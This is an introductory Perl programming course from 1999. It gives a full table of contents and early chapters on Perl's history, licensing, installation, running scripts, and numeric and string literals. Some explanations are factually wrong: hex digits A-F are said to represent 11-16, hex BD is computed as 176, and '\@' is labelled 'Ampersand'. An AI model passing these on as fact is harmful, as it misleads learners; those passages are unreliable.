Practical Perl Programming

A. D. Marshall 1999

HTML PERL NOTES

- Contents
- Introduction to Perl
  - What is Perl?
    - Origins
    - Similar to C?
    - Cost and Licensing
  - Installing Perl Installed
    - Getting and Installing Perl
  - Writing Perl Programs
    - Creating the Program
    - Invocation
    - Comments in Your Program
  - Further Reading/Information
- Numeric and String Literals
  - Numeric Literals
    - Example: Numbers
  - String Literals
    - Example: Single-Quoted Strings
    - Example: Double-Quoted Strings
      - Example: Back-Quoted Strings
- Variables
  - Scalar Variables
    - Defining Scalar Variables
    - String Scalar Variables
- Arrays
  - What is an Array?
  - Literal Arrays

- Indexed Arrays
- Some Useful Array Functions
- Associative Arrays
  - Associative Array Operators

- Operators
  - The Binary Arithmetic Operators
  - The Unary Arithmetic Operators
  - The Logical Operators
  - The Bitwise Operators
    - Comparison operators for numbers and strings
  - The Range Operator (..)
  - The String Operators (. and x)
  - Order of Precedence

- Perl Statements
  - Understanding Expressions
  - Statement Blocks
  - Statement Blocks and Local Variables
  - If/Unless statement
    - The for statement
    - The while/until statement
    - The foreach statement

- Functions
  - Using the Parameter Array (@_)
  - Passing Parameters by Reference
  - Scope of Variables
  - Using a List as a Function Parameter
  - Nesting Function Calls
  - Using a Private Function
  - String Functions
  - Array Functions
  - Summary

- References
  - Reference Types
  - Passing Parameters to Functions
  - The ref() Function

- Example: Creating a Data Record
- Interpolating Functions Inside Double-Quoted Strings
- Summary

- Files -- Input and Output in Perl
  - Some Files Are Standard
    - Using the Diamond Operator (<>)
  - File Test Operators
  - File Functions
    - Reading Directories
    - Reading and Writing Files
    - Binary Files
    - Getting File Statistics
    - Printing Revisited
- Regular Expressions
  - What are regular Expressions
  - Using Regular Expressions
    - Special pattern matching character operators
  - Backtracking
  - Setting the Target Operator (Binding)
  - Substitution
  - The Matching Operator (m//)
    - The Matching Options
  - The Translation Operator (tr///)
    - The Translation Options
  - The Binding Operators
  - Character Classes
  - Quantifiers
  - Pattern Memory
  - Pattern Precedence
  - Extension Syntax
  - Pattern Examples
  - Some Practical Examples
    - Using the Match Operator
    - Using the Substitution Operator
    - Example: Using the Translation Operator

        - Example: Using the *Split()* Function
- Reports
    - Format Statements
    - Field Lines
    - Report Headings
- Special Variables
    - What Are the Special Variables?
    - Example: Using the `DATA` File Handle
    - Example: Using the *`%ENV`* Variable
- Handling Errors and Signals
    - Checking for Errors
    - Using `errno`
    - Using the `||` Logical Operator
    - Using the `die()` Function
    - Using the `warn()` Function
    - Trapping Fatal Errors
        - Using the `eval()` Function
    - Signals
        - How to Handle a Signal
- Objects in Perl
    - What are objects?
    - Classes
    - Abtraction
    - Polymorphism:Overriding Methods
    - Encapsulation:Keeping Code and Data Together
    - Objects in Perl
        - Bless the Hash and Pass the Reference
        - Initializing Properties
        - Using Named Parameters in Constructors
        - Inheritance: Perl Style
        - Polymorphism
        - One Class Can Contain Another
    - Static Versus Regular Methods and Variables
- Perl Modules
    - Module Constructors and Destructors

        - The `BEGIN` Block
        - The `END` Block
    - Symbol Tables
    - The `require` Compiler Directive
    - The `use` Compiler Directive
    - Pragma in Perl
    - The `strict` Pragma
    - The Standard Modules
    - `strict, my()` and Modules
    - Module Examples
        - The `Carp` Module
        - The `English` Module
        - The `Env` Module
- Debugging Perl
    - Syntax Errors
    - Common Syntax Errors
    - Logic Errors
        - Using the `-w` Command-Line Option
        - Being Strict with Your Variables
        - Stepping Through Your Script
            - Displaying Information
            - Examples: Using the n Command
            - Using Breakpoints
        - Creating Command Aliases
        - Using the Debugger as an Interactive Interpreter
    - Summary
- Perl Command-Line Options
    - How Are the Options Specified?
    - The Command-line Options
    - Example uses of command-line options
        - Using the `-0` Option
        - Using the `-n` and `-p` Options
        - Using the `-i` Option
        - Using the `-s` Option
    - Summary

- Networking with Perl
  - Sockets
  - Clients and Servers
    - The Server Side of a Conversation
    - The Client Side of a Conversation
  - Some Network Examples
    - Using the Time Service
    - Sending Mail (SMTP)
      - The `MAIL` Command
      - The `RCPT` Command
      - The `DATA` Command
      - Reporting Undeliverable Mail
      - Using Perl to Send Mail
  - Receiving Mail (POP)
    - Checking for Upness (Echo)
  - Transferring Files (FTP)
    - The World Wide Web (HTTP)
- CGI Programming in Perl
  - CGI Scripting
    - What is a CGI Script?
    - Writing and Running CGI Scripts
    - Why Use Perl for CGI?
    - CGI Apps versus Java Applets
    - Should You Use CGI Modules?
  - How Does CGI Work?
  - Calling Your CGI Program
  - Beginning CGI Programming in Perl
    - CGI Script Output
    - A First Perl CGI Script
    - Exectiion of CGI Programs
    - Why Are File Permissions Important in UNIX?
  - HTTP Headers
    - CGI and Environment Variables
  - URL Encoding
  - Security

        - CGIwrap and Security
- The Other Side of CGI:Input -- HTML Forms
    - A Brief Overview of HTML
    - Server-Side Includes
    - Forms: Facilitating User Input and Interaction
        - Forms and CGI: What are they?
        - Some Example Forms
        - The FORM Tag
        - Entering Data
            - The Submit Button
            - Text Input
        - Password
        - Associating labels with text and password input
        - Radio Buttons
        - Checkboxes
        - Assigning Initial Input Values to
        - Select
        - Textarea
        - Hidden Input
        - An Example Form
        - HTML Forms as an Interface to Databases
        - Further Information
    - CGI Script Input: Accepting Input To Perl Scripts
        - Accepting Input from the Browser
        - Passing Data to a CGI Script
        - A Simple Form CGI Script Call
        - The Other Side -- receiving and processing information in CGI (Perl) script
        - cgi-lib.pl
        - The `cgi.pm` module
        - A Minimal Form Response CGI Perl Script
        - Multiple argument input to a Perl CGI script
- Some Example Perl CGI Scripts
    - Red, Green and Blue to Hexadecimal Converter
    - An Address Book Search Engine
    - Creating a Guest Book

    - A Web Page Counter
- Using Perl with Web Servers
    - Server Log Files
    - Reading a Log File In Perl
    - Listing Access by Document
    - Looking at the Status Code
    - Existing Log File Analyzing Programs
    - Creating Your Own CGI Log File
- Internet Resources
    - Web Sites
    - Usenet Newsgroups
- A Quick Quide to HTML
    - Basic HTML Programming
        - HTML
        - Hypertext Terminology
        - Creating HTML Documents
        - Learning HTML
        - Anatomy of Any HTML Document
        - HTML Tags
            - Basic HTML Page Structure
        - Summary of Basic HTML Tags
        - Bare-bones example of HTML
        - Basic HTML Coding
            - Head elements
        - The Body Element
        - Headings
        - Paragraphs
        - Comments
        - Links and Anchors
            - Linking to Other Documents
        - Relative, Absolute and remote Links
            - Anchors
        - Lists
            - Unordered or Bulleted lists
            - Ordered or Numbered lists

        - Glossary or Definition Lists
        - Nesting Lists
    - Preformatted Text
    - In-Line Images
    - External Images, Sounds, Video
    - Things to remember when HTML programming
  - Text Formatting with HTML
    - Logical Character Formatting
    - Physical Character formatting
    - Special Characters
    - Horizontal rules and Line breaks
    - Fonts and Font Sizes
  - Recommended Reading
- About this document ...

Contents

- Contents
- Introduction to Perl
  - What is Perl?
    - Origins
    - Similar to C?
    - Cost and Licensing
  - Installing Perl Installed
    - Getting and Installing Perl
  - Writing Perl Programs
    - Creating the Program
    - Invocation
    - Comments in Your Program
  - Further Reading/Information
- Numeric and String Literals
  - Numeric Literals
  - String Literals
    - Example: Double-Quoted Strings
- Variables
  - Scalar Variables
    - Defining Scalar Variables
    - String Scalar Variables
- Arrays
  - What is an Array?
  - Literal Arrays
  - Indexed Arrays
  - Some Useful Array Functions
  - Associative Arrays
    - Associative Array Operators
- Operators

- The Binary Arithmetic Operators
- The Unary Arithmetic Operators
- The Logical Operators
- The Bitwise Operators
  - Comparison operators for numbers and strings
- The Range Operator (..)
- The String Operators (. and x)
- Order of Precedence

- Perl Statements
  - Understanding Expressions
  - Statement Blocks
  - Statement Blocks and Local Variables
  - If/Unless statement
    - The for statement
    - The while/until statement
    - The foreach statement

- Functions
  - Using the Parameter Array (@_)
  - Passing Parameters by Reference
  - Scope of Variables
  - Using a List as a Function Parameter
  - Nesting Function Calls
  - Using a Private Function
  - String Functions
  - Array Functions
  - Summary

- References
  - Reference Types
  - Passing Parameters to Functions
  - The ref() Function
  - Example: Creating a Data Record
  - Interpolating Functions Inside Double-Quoted Strings
  - Summary

- Files -- Input and Output in Perl
  - Some Files Are Standard

        - Using the Diamond Operator (<>)
    - File Test Operators
    - File Functions
        - Reading Directories
        - Reading and Writing Files
        - Binary Files
        - Getting File Statistics
        - Printing Revisited
- Regular Expressions
    - What are regular Expressions
    - Using Regular Expressions
        - Special pattern matching character operators
    - Backtracking
    - Setting the Target Operator (Binding)
    - Substitution
    - The Matching Operator (m//)
        - The Matching Options
    - The Translation Operator (tr///)
        - The Translation Options
    - The Binding Operators
    - Character Classes
    - Quantifiers
    - Pattern Memory
    - Pattern Precedence
    - Extension Syntax
    - Pattern Examples
    - Some Practical Examples
        - Using the Match Operator
        - Using the Substitution Operator
        - Example: Using the Translation Operator
        - Example: Using the *Split()* Function
- Reports
    - Format Statements
    - Field Lines
    - Report Headings

- Special Variables
  - What Are the Special Variables?
  - Example: Using the `DATA` File Handle
  - Example: Using the *`%ENV`* Variable
- Handling Errors and Signals
  - Checking for Errors
  - Using `errno`
  - Using the `||` Logical Operator
  - Using the `die()` Function
  - Using the `warn()` Function
  - Trapping Fatal Errors
    - Using the `eval()` Function
  - Signals
    - How to Handle a Signal
- Objects in Perl
  - What are objects?
  - Classes
  - Abtraction
  - Polymorphism:Overriding Methods
  - Encapsulation:Keeping Code and Data Together
  - Objects in Perl
    - Bless the Hash and Pass the Reference
    - Initializing Properties
    - Using Named Parameters in Constructors
    - Inheritance: Perl Style
    - Polymorphism
    - One Class Can Contain Another
  - Static Versus Regular Methods and Variables
- Perl Modules
  - Module Constructors and Destructors
    - The `BEGIN` Block
    - The `END` Block
  - Symbol Tables
  - The `require` Compiler Directive
  - The `use` Compiler Directive

- Pragma in Perl
- The `strict` Pragma
- The Standard Modules
- `strict, my()` and Modules
- Module Examples
  - The `Carp` Module
  - The `English` Module
  - The `Env` Module

- Debugging Perl
  - Syntax Errors
  - Common Syntax Errors
  - Logic Errors
    - Using the `-w` Command-Line Option
    - Being Strict with Your Variables
    - Stepping Through Your Script
      - Displaying Information
      - Using Breakpoints
    - Creating Command Aliases
    - Using the Debugger as an Interactive Interpreter
  - Summary
- Perl Command-Line Options
  - How Are the Options Specified?
  - The Command-line Options
  - Example uses of command-line options
    - Using the `-0` Option
    - Using the `-n` and `-p` Options
    - Using the `-i` Option
    - Using the `-s` Option
  - Summary
- Networking with Perl
  - Sockets
  - Clients and Servers
    - The Server Side of a Conversation
    - The Client Side of a Conversation
  - Some Network Examples

        - Using the Time Service
        - Sending Mail (SMTP)
            - The `MAIL` Command
            - The `RCPT` Command
            - The `DATA` Command
            - Reporting Undeliverable Mail
            - Using Perl to Send Mail
    - Receiving Mail (POP)
        - Checking for Upness (Echo)
    - Transferring Files (FTP)
        - The World Wide Web (HTTP)
- CGI Programming in Perl
    - CGI Scripting
        - What is a CGI Script?
        - Writing and Running CGI Scripts
        - Why Use Perl for CGI?
        - CGI Apps versus Java Applets
        - Should You Use CGI Modules?
    - How Does CGI Work?
    - Calling Your CGI Program
    - Beginning CGI Programming in Perl
        - CGI Script Output
        - A First Perl CGI Script
        - Exectiion of CGI Programs
        - Why Are File Permissions Important in UNIX?
    - HTTP Headers
        - CGI and Environment Variables
    - URL Encoding
    - Security
        - CGIwrap and Security
- The Other Side of CGI:Input -- HTML Forms
    - A Brief Overview of HTML
    - Server-Side Includes
    - Forms: Facilitating User Input and Interaction
        - Forms and CGI: What are they?

        - Some Example Forms
        - The FORM Tag
        - Entering Data
            - The Submit Button
            - Text Input
        - Password
        - Associating labels with text and password input
        - Radio Buttons
        - Checkboxes
        - Assigning Initial Input Values to
        - Select
        - Textarea
        - Hidden Input
        - An Example Form
        - HTML Forms as an Interface to Databases
        - Further Information
    - CGI Script Input: Accepting Input To Perl Scripts
        - Accepting Input from the Browser
        - Passing Data to a CGI Script
        - A Simple Form CGI Script Call
        - The Other Side -- receiving and processing information in CGI (Perl) script
        - cgi-lib.pl
        - The `cgi.pm` module
        - A Minimal Form Response CGI Perl Script
        - Multiple argument input to a Perl CGI script
- Some Example Perl CGI Scripts
    - Red, Green and Blue to Hexadecimal Converter
    - An Address Book Search Engine
    - Creating a Guest Book
    - A Web Page Counter
- Using Perl with Web Servers
    - Server Log Files
    - Reading a Log File In Perl
    - Listing Access by Document
    - Looking at the Status Code

    - Existing Log File Analyzing Programs
    - Creating Your Own CGI Log File
- Internet Resources
    - Web Sites
    - Usenet Newsgroups
- A Quick Quide to HTML
    - Basic HTML Programming
        - HTML
        - Hypertext Terminology
        - Creating HTML Documents
        - Learning HTML
        - Anatomy of Any HTML Document
        - HTML Tags
            - Basic HTML Page Structure
        - Summary of Basic HTML Tags
        - Bare-bones example of HTML
        - Basic HTML Coding
            - Head elements
        - The Body Element
        - Headings
        - Paragraphs
        - Comments
        - Links and Anchors
            - Linking to Other Documents
        - Relative, Absolute and remote Links
            - Anchors
        - Lists
            - Unordered or Bulleted lists
            - Ordered or Numbered lists
            - Glossary or Definition Lists
            - Nesting Lists
        - Preformatted Text
        - In-Line Images
        - External Images, Sounds, Video
        - Things to remember when HTML programming

- Text Formatting with HTML
  - Logical Character Formatting
  - Physical Character formatting
  - Special Characters
  - Horizontal rules and Line breaks
  - Fonts and Font Sizes
- Recommended Reading

---

dave@cs.cf.ac.uk

Introduction to Perl

- What is Perl?
  - Origins
  - Similar to C?
  - Cost and Licensing
- Installing Perl Installed
  - Getting and Installing Perl
- Writing Perl Programs
  - Creating the Program
  - Invocation
  - Comments in Your Program
- Further Reading/Information

---

dave@cs.cf.ac.uk

What is Perl?

Perl is a programming language which can be used for a large variety of tasks. A typical simple use of Perl would be for extracting information from a text file and printing out a report or for converting a text file into another form. But Perl provides a large number of tools for quite complicated problems, including systems programming.

Programs written in Perl are called **Perl scripts**, whereas the term **the perl program** refers to the system program named perl for executing Perl scripts. (What, confused already?)

If you have used shell scripts or `awk` or `sed` or similar (Unix) utilities for various purposes, you will find that you can normally use Perl for those and many other purposes, and the code tends to be more compact. And if you haven't used such utilities but have started thinking you might have need for them, then perhaps what you really need to learn is Perl instead of all kinds of futilities.

Perl is implemented as an interpreted (not compiled) language. Thus, the execution of a Perl script tends to use more CPU time than a corresponding C program, for instance. On the other hand, computers tend to get faster and faster, and writing something in Perl instead of C tends to save **your** time.

- Origins
- Similar to C?
- Cost and Licensing

Origins

Perl began as the result of one man's frustration and, by his own account, inordinate laziness. It is a unique language in ways that cannot be conveyed simply by describing the technical details of the language. Perl is a state of mind as much as a language grammar.

One of the oddities of the language is that its name has been given quite a few definitions. Originally, Perl meant the Practical Extraction Report Language. However, programmers also refer to is as the Pathologically Eclectic Rubbish Lister. Or even, Practically Everything Really Likable.

Let's take a few minutes to look at the external forces which provoked Perl into being-it should give you an insight into the way Perl was *meant* to be used. Back in 1986, Larry Wall found himself working on a task which involved generating reports from a lot of text files with cross references. Being a UNIX programmer, and because the problem involved manipulating the contents of text files, he started to use awk for the task. But it soon became clear that awk wasn't up to the job; with no other obvious candidate for the job, he'd just have to write some code.

Now here's the interesting bit: Larry could have just written a utility to manage the particular job at hand and gotten on with his life. He could see, though, that it wouldn't be long before he'd have to write another special utility to handle something else which the standard tools couldn't quite hack. (It's possible that he realized that most programmers were *always* writing special utilities to handle things which the standard tools couldn't quite hack.)

So rather than waste any more of his time, he invented a new language and wrote an interpreter for it. If that seems like a paradox, it isn't really-it's always a bit more of an effort to set yourself up with the right tools, but if you do it right, the effort pays off.

The new language had an emphasis on system management and text handling. After a few revisions, it could handle regular expressions, signals, and network sockets, too. It became known as Perl and quickly became popular with frustrated, lazy UNIX programmers. And the rest of us.

Note Is it "Perl" or "perl?" The definitive word from Larry Wall is that it doesn't matter. Many programmers like to refer to languages with capitalized names (Perl) but the program originated on a UNIX system where short, lowercase names (awk, sed, and so forth) were the norm. As with so many things about the language, there's no single "right way" to do it; just use it the way you want. It's a tool, after all, not a dogma. If you're sufficiently pedantic, you may want to call it "[Pp]erl" after you've read Chapter 10 on *Regular Expressions.*

Similar to C?

Perl programs bear a passing resemblance to C programs, perhaps because Perl was written in C, or perhaps because Larry found some of its syntactic conventions handy. But Perl is less pedantic and a lot more concise than C.

Perl can handle low-level tasks quite well, particularly since Perl 5, when the whole messy business of references was put on a sound footing. In this sense, it has a lot in common with C. But Perl handles the internals of data types, memory allocation, and such automatically and seamlessly.

This habit of picking up interesting features as it went along-regular expressions here, database handling there-has been regularized in Perl 5. It is now fairly easy to add your favorite bag of tricks to Perl by using modules. It is likely that many of the added-on features of Perl such as socket handling will be dropped from the core of Perl and moved out to modules after a time.

---

dave@cs.cf.ac.uk

Cost and Licensing

Perl is free. The full source code and documentation are free to copy, compile, print, and give away. Any programs you write in Perl are yours to do with as you please; there are no royalties to pay and no restrictions on distributing them as far as Perl is concerned.

It's not completely "public domain," though, and for very good reason. If the source were completely public domain, it would be possible for someone to make minor alterations to it, compile it, and sell it-in other words, to rip off its creator. On the other hand, without distributing the source code, it's hard to make sure that everyone who wants to can use it.

The GNU General Public License is one way to distribute free software without the danger of someone taking advantage of you. Under this type of license, source code may be distributed freely and used by anybody, but any programs derived using such code must be released under the same type of license. In other words, if you derive any of your source code from GNU-licensed source code, you have to release your source code to anyone who wants it.

This is often sufficient to protect the interests of the author, but it can lead to a plethora of derivative versions of the original package. This may deprive the original author of a say in the development of his or her own creation. It can also lead to confusion on the part of the end users as it becomes hard to establish which is the definitive version of the package, whether a particular script will work with a given version, and so on.

That's why Perl is released under the terms of the "Artistic" license. This is a variation on the GNU General Public License which says that anyone who releases a package derived from Perl must make it clear that the package is not actually Perl. All modifications must be clearly flagged, executables renamed if necessary, and the original modules distributed along with the modified versions. The effect is that the original author is clearly recognized as the "owner" of the package. The general terms of the GNU General Public License also apply.

Installing Perl Installed

It's critically important to have Perl installed on your computer before reading too much further. As you read the examples, you'll want to try them. If Perl is not already installed, momentum and time will be lost.

It is very easy to see if your system already has Perl installed. Simply go to a command-line prompt and type:

```
perl -v
```

Hopefully, the response will be similar to this:

```
This is perl, version 5.001
        Unofficial patchlevel 1m.
Copyright 1987-1994, Larry Wall
Win32 port Copyright  1995 Microsoft Corporation. All rights reserved.
        Developed by hip communications inc., http://info.hip.com/info/
        Perl for Win32 Build 107
        Built Apr 16 1996@14:47:22
```

Perl may be copied only under the terms of either the Artistic License or the GNU General Public License, which may be found in the Perl 5.0 source kit.

If you get an error message or you have version 4 of Perl, please see your system administrator or install Perl yourself. The next section describes how to get and install Perl.

- Getting and Installing Perl

---

dave@cs.cf.ac.uk

Getting and Installing Perl

New versions of Perl are released on the Internet and distributed to Web sites and ftp archives across the world. UNIX binaries are generally not made available on the Internet, as it is generally better to build Perl on your system so that you can be certain it will work. All UNIX systems have a C compiler, after all.

Each operating system has its own way of getting and installing Perl.

For UNIX and OS/2

-- The Perl Home Page contains a software link (**http://www.perl.com/perl/info/software.html**) that will enable you to download the latest Perl source code. The page also explains why Perl binaries are not available. Hopefully, your system will already have Perl installed. If not, try to get your system administrator to install it.

For Windows 95/Windows NT

-The home page of hip communications, inc. (**http://www.perl.hip.com**) contains a link to download the `i86 Release Binary`. This link lets you download a zip file that contains the Perl files in compressed form. CD-ROM copiess are freely distributed with many Perl books and also on CDROM: for example, *Perl - Walnut Greek CD-ROM*

For Macintosh Computers

-- *MacPerl* is a ported version of Perl with a basic but very useable User Interface.It is available from

http://www.iis.ee.ethz.ch/ neeri/macintosh/perlman/perl_toc.html,

http://www.unimelb.edu.au/ ssilcot/macperl-primer/.

It also comes on CD-ROM with many Perl Books

Instructions for compiling Perl or for installing on each operating system are included with the distribution files. Follow the instructions provided and you should having a working Perl installation rather quickly.

---

dave@cs.cf.ac.uk

Writing Perl Programs

We will develop first Perl program will show how to display a line of text on your monitor. This is not a very elaborate program but here we focus on the mechanism of writing and running Perl programs:

- First, you create a text file to hold the Perl program.
- Then you run or execute the Perl program file.

- Creating the Program
- Invocation
- Comments in Your Program

---

dave@cs.cf.ac.uk

Creating the Program

A Perl program consists of an ordinary text file containing a series of Perl statements. Statements are written in what looks like an amalgam of C, UNIX shell script, and English. In fact, that's pretty much what it is.

Perl code can be quite free-flowing. The broad syntactic rules governing where a statement starts and ends are:

- Leading spaces on a line are ignored. You can start a Perl statement anywhere you want: at the beginning of the line, indented for clarity (recommended) or even right-justified (definitely frowned on because the code would be difficult to understand) if you like.
- Statements are terminated with a semicolon.
- Spaces, tabs, and blank lines outside of strings are irrelevant-one space is as good as a hundred. That means you can split statements over several lines for clarity. A string is basically a series of characters enclosed in quotes. Chapter 2 for a better definition of, and introduction to strings.
- Anything after a hash sign (#) is ignored except in strings. Use this fact to pepper your code with useful comments.

Here's Our first uninspired Perl statement `hello1.pl`:

```
print("Hello World\n");
```

No prizes for guessing what happens when Perl runs this code-it prints out `Hello World`. If the "\n" doesn't look familiar, don't worry-it simply means that Perl should print a newline character after the text, or in other words, go to the start of the next line, exactly like C.

Printing more text is a matter of either stringing together statements like this, or giving multiple arguments to the `print()` function :

```
 print("Hello World,\n");
 print("I'm  alive\n");
```

So here's a small finished example `hello2.pl`, complete with the invocation line at the top and a few comments:

```
#!/usr/local/bin/perl -w

 print("Hello World,\n");
 print("I'm  alive\n");
```

Unix has two ways of invoking a Perl program (see below) if you use (or intend to use) Perl on Unix always make this the

You can create your Perl program by starting any text processor:

- **In UNIX** -- you can use `emacs` or `vi`.
- **In Windows 95/Windows NT** -- you can use `notepad` or `edit`.
- **In Macintosh** -- you can use MacPerl's simple text editor or any other texteditor you like.
- **In OS/2**-you can use `e` or `epm`.

Create a file called `test.pl` that contains the preceding three lines. In general convention all Perl files should end with a `.pl` extension. You can call your program anything you like, but it should be a meaningful description.

---

 dave@cs.cf.ac.uk

Invocation

Assuming that Perl is correctly installed and working on your system, the simplest way to run a Perl program is to type the following: perl *filename*.pl

The *`filename`* should be replaced by the name of the program that you are trying to run or execute. If you created a `test.pl` file while reading the previous section, you can run it like this: perl test.pl

This example assumes that perl is in the execution path; if not, you will need to supply the full path to perl, too. For example, on UNIX the command might be: /usr/local/bin/perl test.pl

Whereas on Windows NT, you might need to use:

c:\perl5\bin\perl test.pl

UNIX systems have another way to invoke a program. However, you need to do two things. The first is to place a line like

```
#!/usr/local/bin/perl
```

at the start of the Perl file. This tells UNIX that the rest of this script file is to be run by `/usr/local/bin/perl`. The second step is to make the program file itself executable by changing its mode:

```
chmod +x test.pl
```

Now you can execute the program file directly and let the program file tell the operating system what interpreter to use while running it. The new command line is simply: test

---

dave@cs.cf.ac.uk

Comments in Your Program

It is very important to place comments into your Perl programs. Comments will enable you to figure out the intent behind the mechanics of your program. For example, it is very easy to understand that your program adds 66 to another value. But, in two years, you may forget how you derived the number 66 in the first place.

Comments are placed inside a program file using the # character. Everything after the # is ignored. For example `comment.pl`:

```
# This whole line is ignored.
print("Perl is easy.\n");  # Here's a half-line comment.
```

---

dave@cs.cf.ac.uk

Further Reading/Information

There several good books on the market that teach Perl programming and also some that explicitly deal with CGI/Perl:

- **Learning Perl**, *R.L. Schwartz*, O'Reilly and Associates Inc. -- The "Llama Book". 1st edition introduces programming concepts with Perl 4.]
- **Programming Perl**, *L. Wall, T. Christiansen and R.L. Schwartz*, O'Reilly and Associates Inc. -- The "Camel Book". A thorough Perl 5 reference with plenty of examples.
- **Perl Cookbook**, *Tom Chritianson and Nathan Torkington*, O'Reilly and Associates Inc. -- Excellent collection of Perl recipes to suite your every need. Lots of good solution and examples. I have *borrowed* a few examples for this course.
- **Advanced Perl Programming**, *S.Srinivasan*, O'Reilly and Associates Inc. -- A very good book to take your further into the realms of Perl
- **Perl 5 Desktop Reference**, *J. Vromans*, O'Reilly and Associates Inc.
- **Teach Yourself CGI Programming with Perl 5 in a Week**, *E. Herrmann*, Sams.Net -- excellent guide to CGI aspects of Perl
- **CGI Developer's Guide**, *E.E. Kim*, Sams.Net
- **CGI Programming on the World Wide Web**, *S. Gundavaram*, O'Reilly and Associates Inc.

There are several good Web resources, Please also see Appendix A for a complete list of internet based Perl resources:

The Perl Home Page

-- *http://www.perl.com*

The Perl Institue

-- *http://www.perl.org/*

The Perl FAQ's

-- *http://www.perl.com/perl/faq/*

Usenet Newsgroups:

news:comp.lang.perl.announce, news:comp.lang.perl.misc.

Tom's Object-Oriented Perl Tutorial

: -- *http://language.perl.com/all_about/perltoot.html*

Randy's Column on OO Perl

-- *http://www.stonehenge.com/merlyn/UnixReview/col13.html*

---

dave@cs.cf.ac.uk

Numeric and String Literals

In this chapter, we willl take a look at some of the ways that Perl handles data. All computer programs use data in some way. Some use it to personalize the program. For example, a mail program might need to remember your name so that it can greet you upon starting. Another program-say one that searches your hard disk for files-might remember your last search parameters in case you want to perform the same search twice.

A *literal* is a value that is represented "as is" or hard-coded in your source code. When you see the four characters 45.5 in programs it really refers to a value of forty-five and a half. Perl uses four types of literals. Here is a quick glimpse at them:

- Numbers - This is the most basic data type.
- Strings - A string is a series of characters that are handled as one unit.
- Arrays - An array is a series of numbers and strings handled as a unit. You can also think of an array as a list.
- Associative Arrays - This is the most complicated data type. Think of it as a list in which every value has an associated lookup item.

Arrays will be discussed in Chapter 4 Numbers and strings will be discussed in the following sections.

- Numeric Literals
  - Example: Numbers
- String Literals
  - Example: Single-Quoted Strings
  - Example: Double-Quoted Strings
    - Example: Back-Quoted Strings

---

dave@cs.cf.ac.uk

Numeric Literals

Numeric literals are frequently used. They represent a number that your program will need to work with. Most of the time you will use numbers in base ten-the base that everyone uses. However, Perl will also let you use base 8 (octal) or base 16 (hexadecimal).

Note: For those of you who are not familiar with non-decimal numbering systems, here is a short explanation. In decimal notation-or base ten- when you see the value 15 it signifies (1 * 10) + 5 or 15_{10}. The subscript indicates which base is being used.

In octal notation-or base eight-when you see the value 15 it signifies (1 * 8) + 5 or 13_{10}.

In hexadecimal notation-or base 16-when you see the value 15 it signifies (1 * 16) + 5 or 21_{10}. Base 16 needs an extra six characters in addition to 0 to 9 so that each position can have a total of 16 values. The letters A-F are used to represent 11-16. So the value BD_{16} is equal to $(B_{16} * 16) + D_{16}$ or $(11_{10} * 16) + 13_{10}$ which is 176_{10}.

If you will be using very large or very small numbers, you might also find scientific notation to be of use. Scientific notation looks like 10.23E+4, which is equivalent to 102,300. You can also represent small numbers if you use a negative sign. For example, 10.23E-4 is .001023. Simply move the decimal point to the right if the exponent is positive and to the left if the exponent is negative.

- Example: Numbers

---

dave@cs.cf.ac.uk

Example: Numbers

Let's take a look at some different types of numbers that you can use in your program code.

First, here are some integers.

*An integer. Integers are numbers with no decimal components. An integer in octal format. This number is 35, or (4 * 8) + 3, in base 10. An integer in hexadecimal format. This number is also 35, or (2 * 16) + 3 in base 10.*

```
123
043
0x23
```

Now, some numbers and fractions-also *called floating point values*. You will frequently see these values referred to as a *float value* for simplicity's sake.

A float with a value in the tenths place. You can also say 100 and 5/10.A float with a fraction value out to the thousandths place. You can also say 54 and 534/1000.

```
100.5
54.534
```

Here's a very small number.

A very small float value. You can represent this value in scientific notation as 3.4E-5.

```
.000034
```

---

dave@cs.cf.ac.uk

String Literals

String Literals are groups of characters surrounded by quotes so that they can be used as a single datum. They are frequently used in programs to identify filenames, display messages, and prompt for input. In Perl you can use single quotes ('), double quotes("), and back quotes (`).

- Example: Single-Quoted Strings
- Example: Double-Quoted Strings
  - Example: Back-Quoted Strings

---

dave@cs.cf.ac.uk

Example: Single-Quoted Strings

The following examples show you how to use string literals. String literals are widely used to identify filenames or when messages are displayed to users. First, we'll look at single-quoted strings, then double-quoted strings.

A single-quoted string is pretty simple. Just surround the text that you'd like to use with single quotes, *E.g.*

```
'David Marshall'
```

Strings are pretty simple. But what if you wanted to use a single quote inside the literal? If you did this, Perl would think you wanted to end the string early and a compiler error would result. Perl uses the backslash (\) character to indicate that the normal function of the single quote-ending a literal-should be ignored for a moment.

Tip The backslash character is also called *an escape character*-perhaps because it lets the next character escape from its normal interpretation

A literal is given below. Notice how the single quote is used.

So for example we can do

```
'These are David Marshall\'s Course Notes'
```

or more advanced we can do

```
'Fiona asked: "Are you enjoying David\'s Perl Course"'
```

The single-quotes are used here specifically so that the double-quotes can be used to surround the spoken words. Later in the section on double-quoted literals, you'll see that the single-quotes can be replaced by double-quotes if you'd like. You must know only one more thing about single-quoted strings. You can add a line break to a single-quoted string simply by adding line breaks to your source code-as demonstrated by below:

```
print 'Bill of Goods

Bread:    $34 .45

Fruit:    $45.00

         ======

         $79.45'
```

The basic outline of the code here is:

- Tell Perl to begin printing -- using the `print` statement
- The single quotes define the string literal.
- the line breaks are part of the string- causing multiline printing.

---

dave@cs.cf.ac.uk

Example: Double-Quoted Strings

Double-quoted strings start out simple, then become a bit more involved than single-quoted strings. With double-quoted strings, you can use the backslash to add some special characters to your string. Chapter 3 will address about how double-quoted strings and variables interact.

The basic double-quoted string is a series of characters surrounded by double quotes. If you need to use the double quote inside the string, you can use the backslash character.

This literal is similar to one you've already seen. Just the quotes are different. Another literal that uses double quotes inside a double-quoted string:

```
"David said, \"It is fun to learn Perl.\""
```

Notice how the backslash in the second line is used to escape the double quote characters. And the single quote can be used without a backslash.

One *major difference* between double- and single-quoted strings is that double-quoted strings have some special *escape sequences* that can be used. Escape sequences represent characters that are not easily entered using the keyboard or that are difficult to see inside an editor window. The following are all of the escape sequences that Perl understands are given in Table 2.1

Table 2.1: Perl Escape Sequences

Escape Sequences	Description or Character
\b	Backspace
\e	Escape
\f	Form Feed
\n	Newline
\r	Carriage Return
\t	Tab
\v	Vertical Tab
\$	Dollar Sign
\@	Ampersand
\0nnn	Any Octal byte
\xnn	Any Hexadecimal byte

\cn	Any Control character
\l	Change the next character to lowercase
\u	Change the next character to uppercase
\L	Change the following characters to
	lowercase until a \E
	sequence is encountered.
	Note that you need to use an
	uppercase E here, lowercase
	will not work.
\Q	Quote meta-characters as literals.
\U	Change the following characters
	to uppercase until a \E
	sequence is encountered. Note that you
